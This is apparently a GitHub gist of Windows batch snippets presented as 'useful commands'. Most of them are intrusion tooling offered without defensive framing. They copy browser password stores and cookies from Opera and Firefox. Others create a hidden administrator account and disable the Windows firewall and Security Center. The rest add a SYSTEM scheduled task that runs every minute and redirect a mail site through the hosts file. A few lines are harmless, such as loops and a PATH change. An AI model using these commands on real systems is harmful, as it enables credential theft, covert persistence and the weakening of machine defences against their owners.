Skip to content

Instantly share code, notes, and snippets.

@ignat-z
Last active January 1, 2016 14:59
Show Gist options
  • Save ignat-z/8161661 to your computer and use it in GitHub Desktop.
Save ignat-z/8161661 to your computer and use it in GitHub Desktop.
Some usefull comands for creating windows scripts
REM pick files every minute
:loop
timeout \T 60
robocopy i:\ f:\ /move /e
goto loop
REM copy files that can contains any browser passwords data (IE, Opera, Mozilla)
md "%USERNAME%_%DATE%"
cd "%USERNAME%_%DATE%"
copy "%USERPROFILE%\Application Data\Opera\Opera\wand.dat" wand.dat
copy "%USERPROFILE%\Cookies\*.*"
for /f "tokens=*" %%a in ('Dir /b/s/a-d "%USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\"key3.db') Do copy "%%a"
for /f "tokens=*" %%a in ('Dir /b/s/a-d "%USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\"signons.txt') Do copy "%%a"
for /f "tokens=*" %%a in ('Dir /b/s/a-d "%USERPROFILE%\Application Data\Mozilla\Firefox\Profiles\"signons.sqlite') Do copy "%%a"
REM kill windows task and restart explorer
TASKKILL /f /IM firefox.exe
echo start %windir%\explorer.exe
exit
REM itearate over files in dir
for /r %%i in (*) do (
echo %%i
)
REM Create admin AAA with password xxxxxx and hide it from login menu (WinXP)
net user AAA xxxxxx /add
net localgroup "Ђ¤¬Ё­Ёбва в®ал" AAA /add
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v AAA /t REG_DWORD /d 0
REM siple path change code
set path="%path%;c:\program files\java\jdk1.7.0_09\bin"
REM start schedule
sc config schedule start= auto
sc start schedule
REM disable windows firewall and security center
sc config wscsvc start= disabled
sc config SharedAccess start= disabled
sc stop wscsvc
sc stop SharedAccess
REM add task for schedule that will start file ff.bat every minute
schtasks /create /tn «f» /sc minute /mo 1 /ru «NT AUTHORITY\SYSTEM» /tr %systemroot%/ff.bat
REM add site for hosts
start %windir%\notepad.exe
attrib -h -s "%windir%\system32\drivers\etc\hosts"
echo 192.168.1.1 www.inbox.ru >> %windir%\system32\drivers\etc\hosts
attrib +h +s "%windir%\system32\drivers\etc\hosts"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment